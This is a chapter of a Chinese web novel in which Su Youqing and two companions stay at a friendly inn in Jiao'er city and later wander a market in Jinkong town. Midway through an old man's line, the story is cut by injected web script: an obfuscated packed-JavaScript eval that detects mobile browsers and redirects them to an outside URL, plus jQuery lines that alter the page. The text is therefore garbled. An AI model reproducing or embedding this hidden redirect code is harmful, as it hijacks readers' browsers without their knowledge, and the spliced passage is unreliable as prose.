苏有青不大喜欢这种说法。她道：“人的口味本就不一，但世间味也是多样。这般误解旁人喜欢的口味，未免有些偏颇。”


    张老板笑语盈盈的：“是呀。再者说，河鲜虽没什么油水，却都是活蹦乱跳的新鲜货，有些还是稻田鱼，旁的地方想吃也吃不上呢。”


    难得遇到这般讲理的客人，张老板不免想多聊几句：“我们以前做菜也爱多放盐与茱萸，只是后来城里少有劳作的人了。整日悠闲没事干，再常吃重油重口的东西反而易发腻积食。刚好我们这里环境不错，什么野菜与鱼虾都生了出来，长得也鲜，便变了口味。”


    苏有青有些想笑。野货主动长得鲜吗，那很善良了。


    她想起方进店时那几句对答，道：“难怪你方才会先细问我们的口味。不过那种客人多吗？”


    张老板答：“以前不在少数，后来我们依着客人的口味做菜，便没什么话了。”


    “不过客人会这样也正常。”当掌柜的人，张老板不欲说客人的不是，“毕竟往来的多是京城显贵，都是有大本领的人，平日里有些急躁也是理所应当。”


    张老板说，交耳城过去只是一个小小的村子，左右也就十来户的人家。后来，交耳村得了离京近的便宜，才修出一座城，为的是方便来往京城的人，能在进京前好好休整一番。


    “非富即贵的人，大多不乐意听到旁人辩驳的话。何况我们只是做点小本生意的人家，也不想多生事端。”


    苏有青心念，这张老板活得倒是通透。明明不是那般道理，却也能劝慰过自己，着实是个好脾气的。


    她便也应和道：“难怪了，方才我进城时便觉得城中人不多。”


    张老板却说：“其实已经添了不少了。一开始，常住这里的便是那些老邻居，客人也只有朝贺的时候会多些。人少自有少的好处，住得舒坦还能和邻里互相照应，有时过路人正巧喜欢这种住所，从此便在咱们交耳定居了。”


    说到后面，张老板满脸的骄傲：“我们这里的环境是一等一的好，不着急的话，你们也可以多住几天。”


    这头正说着话，门口又有一行四人走了进来。


    其中一人声音敞亮，与同伴说道：“这家店中倒是坐了人，想来不错，便在这家吃吧。”


    扫视过一圈厅堂，那人又冲着苏有青问道：“嘿，这家菜怎么样？”


    “挺好的。”苏有青言简意赅。


    她又同张老板道：“有客人来，你先去招呼吧。我们跟着小二上楼就好。”


    楼上的房间尚无客人，小二便让她们三人随意挑，苏有青选了离楼梯口最远的那间。


    “有需要的东西也可以随时找我们。”下楼前，小二不忘叮嘱道。


    关上门，苏有青环视眼前的几厘地。屋子不大，装扮也朴素，自是比不上苏府的那一方小院。不过床铺茶具之物倒是一应俱全，最重要的是，这小屋干净整洁。


    放下包袱，苏有青先推开了窗。这间屋子的窗开向后院，支起便能听到楼下厨司抡足了劲的动静，是爆炒时勺与锅相撞的声音。


    好在她并不觉得这声响扰人，甚至听到时有种正在生活的安心感。


    包袱早在路上就被翻乱。收拾齐整后，苏有青听到一阵敲门声，开门一看是张老板。


    张老板端着一壶酒：“这是隔壁酒坊酿的米酒，甜滋滋的，吃了也不醉人。那老板手艺不错呢，姑娘尝尝。”


    “太谢谢了。”苏有青让开一步。


    “不客气，我与姑娘聊得投缘。”张老板将托盘放至圆桌正中，“那便不打扰姑娘休息了。”


    张老板带上房门便要下楼。走下几道阶梯，她又停了脚，仰头看向紧闭的拿扇门。


    她家小店并不临着主街，在交耳城中算是偏僻位置。说是客栈，她家的经营也赚不了几个钱，平日里张罗的都是自家人的吃喝住。也只朝贡之时，旁人的店面爆满，她们家才得以在锅边喝点肉汤。


    未曾想，现在明明是进京的淡季，她反而好运气地碰到姑娘那般懂吃食的，还因着她多引来了一桌客。请壶酒吃是应该的。


    房门后，苏有青坐到桌边，斟了一小杯米酒。确实很甜。


    她心念，本是寻不到开了门的客栈，甚至在大街上瞧不见几个人，这才顺着酒糟味寻到了这里。


    苏有青想，饮食百味果然会给她带来好运，遇到的老板热情又真诚。一如曾经，她靠做饭得到过那么多人的追捧。


    张老板所言非虚，交耳城确实环境极好。苏有青在这里多歇了一晚，花了一整个白日慢悠悠地转遍了小城，隔日才离开。


    她还算喜欢这里，安闲，是个宜居的地方。


    苏有青一行人并不赶时间，便在后面的几日里走走停停，耗了半个多月才抵津弓镇。


    一路往南的路上，她本没觉察出太大的变化。虽有抱怨过温度愈发地高，但苏有青也没分清这是因为她们在往南走、还是因为日子在往盛夏走。


    对苏有青来说，沿途的变化似是从食事上看更明显。隔三岔五地就近挑个城镇吃喝，她就这样从软糯糕点吃到浓郁羊汤，又吃到极香的火腿牛肝菌炒饭。


    直到有一天，苏有青突然发现，黄土路上的树荫越来越多了。


    穿过一片低矮的林子，苏有青对照地图看了眼：“过了这林子便是......”


    “便是津弓镇了。”快刀抢答道。


    方出了林子，苏有青便看到一棵粗壮的巨木。再待走近些，原来树下还坐了不少正说笑着的人。


    快刀道：“津弓镇虽富裕，到底是个镇子，也就没修起有模有样的城墙。那棵需几人环抱的树说是已有百年，便算是镇口了。”


    包菜问道：“你挺了解？”


    快刀说得有些犹豫：“从前......从前听主子说过。”


    苏有青接过了话：“那便对了。我也听说过这津弓镇盛产木材，尽是些足以进贡的好东西。你主子了解这里才正常。”


    包菜恍然大悟：“那我们方才遇到的林子，种的便是那种能进贡的树？”


    苏有青也是猜测：“或许吧。”


    她率先下了马，牵着绳走至树下，同最近的老人作了个揖：“请问老伯，附近哪里有客栈吗？”


    老伯正缓缓地摇着扇子，打量过后面的二人，又眯眼看向了为首的苏有青：“过来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308834|198329||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    玩的？你们是哪里人？”


    苏有青道：“是。我们从交耳城那边过来。”


    听到苏有青的回答，周围有人笑说道：“你们村还挺有钱的。”


    苏有青拿不准这话是什么意思，便斟酌着答道：“一般，足够生活罢了。”


    老伯也咧开嘴笑，扇子一挥指了个方向：“那边往里走，都是能住的地方。”


    按老伯的指路，苏有青确实瞧见了一条街的招牌，门口还有不少人在吆喝。


    路过靠外的几家，苏有青细看了两眼店家在门口挂起的黄纸，标出的特色菜倒是差不多。


    既如此，苏有青便随便跟着个看起来面善的老板进店了。


    领着三人往客房去时，小二絮絮叨叨地同她们说：“你们这会子真是赶了趟，今日一早才空出几间房，来早了的客人反倒住不进我们家店呢。又恰逢我们津弓镇一旬一次的集市，那排场，有人赶几十里地过来买东西呢......”


    正值午后，外面都是来往脚步的拖沓声与交谈声，于是她们一行人也放下包袱便出去闲逛了。


    市集的地方本是一排店铺的背墙，如今沿墙摆开了一排铺子，好生热闹。


    苏有青跟着人流一路看过去，确有不少花样玩意儿。什么草条编的蚂蚱，又或是颜色各异、大小不一的簪花。


    更多的是卖木制品的。方走进来两步路，苏有青便瞧见好几个摊位，还有人蹲个小马扎便在摊位边刻上块新木头。


    “这个好精巧。”包菜拿起了一串木头珠子，有些喜欢这种温润的触感。


    摊贩见了动作，赶忙招呼道：“姑娘喜欢吗？一两银子即可。”


    闻言，包菜将木珠串放回了原位：“这也太贵了。”


    摊贩却道：“这都是我们津弓镇上好的檀木，若不是打家具切出了小块木料，谁舍得将这檀木车成珠子？你看这大小与质地，可不是边角料能做成的。”


    包菜听得一脸纠结，苏有青却直接放下一两银子，将那木串塞到了包菜手中。


    “走吧，再去看看别的。”她道，“这里的木头确实闻名，贵些也正常。”


    这一路的摊子走通头，再转过弯，便都是卖些吃食的小贩了。


    各种浓烈的气味混杂在一起，反倒叫人嗅不出香。苏有青深吸一口气，竟是闻到股奇怪的味道。


    “这是什么？”包菜问。


    苏有青循声转头，那异味也变得更明显了。


    “这是我们这里特色的臭薯。别觉着乍一闻是一股馊味儿，吃着可香，嚼起来比原本的树薯韧多了。要试试吗？”摊贩道。


    小摊上放着一个烤炉，上面摆了几个“臭薯”。说话间，那人手上还挥着扇子，好教更多的气味往市集中心跑。


    包菜瞪大了眼：“直接吃吗？”


    摊贩一本正经道：“对呀。”


    她拉着苏有青便要换块地站着，快刀更是不知道蹿去哪棵树上了。


    包菜满肚子纳闷：“这种气味的东西竟然能吃？”


    苏有青笑道：“急什么，又没人往你嘴里塞。”


    二人走出几步路外，还能听到那摊贩在身后哈哈大笑。